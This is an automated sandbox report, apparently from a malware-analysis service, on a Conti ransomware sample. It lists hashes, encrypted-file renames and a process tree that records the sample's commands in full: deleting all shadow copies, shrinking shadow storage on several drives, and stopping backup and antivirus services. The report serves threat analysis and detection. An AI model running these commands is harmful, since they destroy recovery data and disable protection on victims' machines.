Analysis
-
max time kernel
157s -
max time network
62s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
28-09-2021 08:03
Static task
static1
Behavioral task
behavioral1
Sample
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe
Resource
win10v20210408
General
-
Target
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe
-
Size
101KB
-
MD5
99e55ce93392068c970384ab24a0e13d
-
SHA1
7b5da09b8601ae4b4c934a5a46309f924591bb30
-
SHA256
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e
-
SHA512
bb71853e46682ad0a81965edd7d1fbc523cce6f6e2d8641a11d5631738368531b0842bd860e384baf53a11e49be1f7c8c0ca33b1c11742a139f514966e1edb32
Malware Config
Signatures
-
Conti Ransomware
Ransomware generally thought to be a successor to Ryuk.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\MountSwitch.raw => C:\Users\Admin\Pictures\MountSwitch.raw.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\PushRedo.png => C:\Users\Admin\Pictures\PushRedo.png.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\RegisterRead.png => C:\Users\Admin\Pictures\RegisterRead.png.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\ResizeComplete.crw => C:\Users\Admin\Pictures\ResizeComplete.crw.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File renamed C:\Users\Admin\Pictures\UninstallBlock.crw => C:\Users\Admin\Pictures\UninstallBlock.crw.CONTI 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe -
Drops desktop.ini file(s) 26 IoCs
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exedescription ioc process File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Links\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Music\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Documents\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Videos\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Music\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe -
Enumerates connected drives 3 TTPs 16 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exedescription ioc process File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe -
Interacts with shadow copies 2 TTPs 14 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exepid process 852 vssadmin.exe 1324 vssadmin.exe 268 vssadmin.exe 1696 vssadmin.exe 1976 vssadmin.exe 1752 vssadmin.exe 568 vssadmin.exe 932 vssadmin.exe 2040 vssadmin.exe 1664 vssadmin.exe 1316 vssadmin.exe 1384 vssadmin.exe 996 vssadmin.exe 836 vssadmin.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exepid process 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
vssvc.exedescription pid process Token: SeBackupPrivilege 1268 vssvc.exe Token: SeRestorePrivilege 1268 vssvc.exe Token: SeAuditPrivilege 1268 vssvc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1816 wrote to memory of 2004 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 2004 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 2004 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 2004 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 2004 wrote to memory of 2040 2004 cmd.exe vssadmin.exe PID 2004 wrote to memory of 2040 2004 cmd.exe vssadmin.exe PID 2004 wrote to memory of 2040 2004 cmd.exe vssadmin.exe PID 2004 wrote to memory of 2040 2004 cmd.exe vssadmin.exe PID 1816 wrote to memory of 1408 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1408 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1408 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1408 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1408 wrote to memory of 836 1408 cmd.exe vssadmin.exe PID 1408 wrote to memory of 836 1408 cmd.exe vssadmin.exe PID 1408 wrote to memory of 836 1408 cmd.exe vssadmin.exe PID 1408 wrote to memory of 836 1408 cmd.exe vssadmin.exe PID 1816 wrote to memory of 1984 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1984 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1984 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1984 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1984 wrote to memory of 1976 1984 cmd.exe vssadmin.exe PID 1984 wrote to memory of 1976 1984 cmd.exe vssadmin.exe PID 1984 wrote to memory of 1976 1984 cmd.exe vssadmin.exe PID 1984 wrote to memory of 1976 1984 cmd.exe vssadmin.exe PID 1816 wrote to memory of 800 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 800 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 800 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 800 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 800 wrote to memory of 1384 800 cmd.exe vssadmin.exe PID 800 wrote to memory of 1384 800 cmd.exe vssadmin.exe PID 800 wrote to memory of 1384 800 cmd.exe vssadmin.exe PID 800 wrote to memory of 1384 800 cmd.exe vssadmin.exe PID 1816 wrote to memory of 1916 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1916 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1916 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1916 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1916 wrote to memory of 1752 1916 cmd.exe vssadmin.exe PID 1916 wrote to memory of 1752 1916 cmd.exe vssadmin.exe PID 1916 wrote to memory of 1752 1916 cmd.exe vssadmin.exe PID 1916 wrote to memory of 1752 1916 cmd.exe vssadmin.exe PID 1816 wrote to memory of 1952 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1952 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1952 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1952 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1952 wrote to memory of 568 1952 cmd.exe vssadmin.exe PID 1952 wrote to memory of 568 1952 cmd.exe vssadmin.exe PID 1952 wrote to memory of 568 1952 cmd.exe vssadmin.exe PID 1952 wrote to memory of 568 1952 cmd.exe vssadmin.exe PID 1816 wrote to memory of 1700 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1700 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1700 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1700 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1700 wrote to memory of 1696 1700 cmd.exe vssadmin.exe PID 1700 wrote to memory of 1696 1700 cmd.exe vssadmin.exe PID 1700 wrote to memory of 1696 1700 cmd.exe vssadmin.exe PID 1700 wrote to memory of 1696 1700 cmd.exe vssadmin.exe PID 1816 wrote to memory of 1764 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1764 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1764 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1816 wrote to memory of 1764 1816 456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe cmd.exe PID 1764 wrote to memory of 852 1764 cmd.exe vssadmin.exe PID 1764 wrote to memory of 852 1764 cmd.exe vssadmin.exe PID 1764 wrote to memory of 852 1764 cmd.exe vssadmin.exe PID 1764 wrote to memory of 852 1764 cmd.exe vssadmin.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe"C:\Users\Admin\AppData\Local\Temp\456dc28731284188734ef4724d38dca91dcba6c780e6268603365967522cdd6e.bin.sample.exe"1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin Delete Shadows /all /quiet2⤵
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\SysWOW64\vssadmin.exevssadmin Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2040 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB3⤵
- Interacts with shadow copies
PID:836 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1976 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:800 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1384 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1752 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:568 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1696 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:852 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵PID:1656
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:932 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵PID:744
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB3⤵
- Interacts with shadow copies
PID:996 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵PID:2012
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1316 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵PID:2044
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1324 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵PID:1320
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:268 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin Delete Shadows /all /quiet2⤵PID:1984
-
C:\Windows\SysWOW64\vssadmin.exevssadmin Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1664 -
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Acronis VSS Provider" /y2⤵PID:800
-
C:\Windows\SysWOW64\net.exenet stop "Acronis VSS Provider" /y3⤵PID:1888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider" /y4⤵PID:1760
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Enterprise Client Service" /y2⤵PID:1752
-
C:\Windows\SysWOW64\net.exenet stop "Enterprise Client Service" /y3⤵PID:1708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Enterprise Client Service" /y4⤵PID:1704
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "SQLsafe Backup Service" /y2⤵PID:1780
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Backup Service" /y3⤵PID:1716
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service" /y4⤵PID:272
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "SQLsafe Filter Service" /y2⤵PID:1308
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Filter Service" /y3⤵PID:1700
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Filter Service" /y4⤵PID:788
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop "Veeam Backup Catalog Data Service" /y2⤵PID:1528
-
C:\Windows\SysWOW64\net.exenet stop "Veeam Backup Catalog Data Service" /y3⤵PID:852
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y4⤵PID:276
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop AcronisAgent /y2⤵PID:1876
-
C:\Windows\SysWOW64\net.exenet stop AcronisAgent /y3⤵PID:1032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y4⤵PID:932
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop AcrSch2Svc /y2⤵PID:1868
-
C:\Windows\SysWOW64\net.exenet stop AcrSch2Svc /y3⤵PID:2032
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y4⤵PID:1724
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop Antivirus /y2⤵PID:1036
-
C:\Windows\SysWOW64\net.exenet stop Antivirus /y3⤵PID:1204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Antivirus /y4⤵PID:2016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ARSM /y2⤵PID:1120
-
C:\Windows\SysWOW64\net.exenet stop ARSM /y3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ARSM /y4⤵PID:1464
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecAgentAccelerator /y2⤵PID:1996
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentAccelerator /y3⤵PID:516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y4⤵PID:1992
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecAgentBrowser /y2⤵PID:1976
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentBrowser /y3⤵PID:268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y4⤵PID:2020
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecDeviceMediaService /y2⤵PID:544
-
C:\Windows\SysWOW64\net.exenet stop BackupExecDeviceMediaService /y3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y4⤵PID:1980
-
